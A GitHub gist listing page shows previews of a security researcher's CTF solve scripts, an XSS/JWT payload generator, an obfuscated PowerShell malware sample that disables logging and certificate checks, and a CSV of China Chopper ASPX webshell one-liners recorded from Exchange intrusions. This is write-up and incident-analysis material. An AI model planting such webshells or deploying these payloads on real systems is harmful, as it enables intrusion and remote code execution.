Skip to content

Instantly share code, notes, and snippets.

@JohnHammond
JohnHammond / source.py
Created September 2, 2018 01:06
Codefest CTF 2018 "Access Denied?" Challenge Source
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import random
import user_functions
user = raw_input("Enter your name: ")
if not user_functions.exists(user):
# generate a code
@JohnHammond
JohnHammond / get_flag.py
Created September 2, 2018 01:14
Codefest CTF 2018 "Access Denied?" get_flag Script
#!/usr/bin/env python
import random
from pwn import *
context.log_level = 'critical'
# nc 34.216.132.109 9094
host = '34.216.132.109'
@JohnHammond
JohnHammond / source.py
Created September 2, 2018 01:18
Codefest CTF 2018 "Ghost Protocol" Source Code
##########################################################
##########################################################
####### ###### # #####
# # # # #
# ### # #####
# # # # #
##### # # #####
##########################################################
##########################################################
@JohnHammond
JohnHammond / get_flag.py
Created September 2, 2018 02:04
Codefest CTF 2018 "Polyglot" get_flag Script
#!/usr/bin/env python
import re
h = open('secret.c')
lines = [ x[:-1] for x in h.readlines() ] # remove newline char
h.close()
flag = []
for line in lines:
num =''.join(re.findall(r'\s+', line)).replace('\t','1').replace(' ','0')
@JohnHammond
JohnHammond / attack.py
Created September 13, 2018 13:26
IceCTF "History of Computing" XSS Generator
#!/usr/bin/env python
first_piece = '{ "typ": "JWT", "alg": "none" }'
our_xss = '<script>alert("xss")</script>'
second_piece = '''
{ "username": "%s",
"flag": "IceCTF{hope you don\'t think this is a real flag}"}''' \
% our_xss.replace('"','\\"')
@JohnHammond
JohnHammond / get_flag.sh
Created September 13, 2018 17:11
IceCTF 'ilovebees' Get Flag script
#!/bin/bash
exiftool -b favicon/00000.png | dd bs=1 skip=156 | head -c -84 2>/dev/null > file
for i in {00001..00109}
do
exiftool -b favicon/$i.png | dd bs=1 skip=156 | head -c -84 2>/dev/null >> file
done
strings file | grep -i "IceCTF" --color=none | tail -n 1
{
"Status": 0,
"TC": false,
"RD": true,
"RA": true,
"AD": false,
"CD": false,
"Question": [
{
"name": "dmarc.jqueryupdatejs.com.",
@JohnHammond
JohnHammond / dns_pulldown.ps1
Created August 26, 2020 18:51
DNS Pulldown
0..4|%{try
{
$LogEngineLifeCycleEvent=$LogEngineHealthEvent=$LogProviderLifecycleEvent=$LogProviderHealthEvent=$False;
$u=[System.Text.Encoding]::UTF8;
sAl er Get-Random;
$l=[System.Net.WebRequest];
sAL no New-Object;
$g=[SysTEm.Net.SeRvICePoIntMAnaGEr];
$g::Expect100ConTINuE=0;
$g::ServerCertificateValidationCallback={1};
@JohnHammond
JohnHammond / solve_classic_passwd.sh
Created February 8, 2021 02:30
Writeup to TryHackMe's "Classic Passwd" challenge
# Run ltrace
ltrace ./Challenge.Challenge
# Enter a bogus username to see the `strcmp` instruction and see the correct answer.
# Get the flag
echo "AGB6js5d9dkG7" | ./Challenge.Challenge
@JohnHammond
JohnHammond / china_chopper_webshells.csv
Last active August 14, 2023 08:23
Microsoft Exchange Incident "China Chopper" ASPX Webshell filenames
# Occurrences Webshell Filename WebShell Syntax
46 C:\inetpub\wwwroot\aspnet_client\supp0rt.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["orange"],"unsafe");}</script>
35 C:\inetpub\wwwroot\aspnet_client\discover.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["Ananas"],"unsafe");}</script>
21 C:\inetpub\wwwroot\aspnet_client\shell.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["gttkomomo"],"unsafe");}</script>
13 C:\inetpub\wwwroot\aspnet_client\HttpProxy.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["bingo"],"unsafe");}</script>
8 C:\inetpub\wwwroot\aspnet_client\0QWYSEXe.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["XOrSeMr3kgWUdFf6"],"unsafe");}</script>
7 C:\inetpub\wwwroot\aspnet_client\system_web\error.aspx http://f/<script language=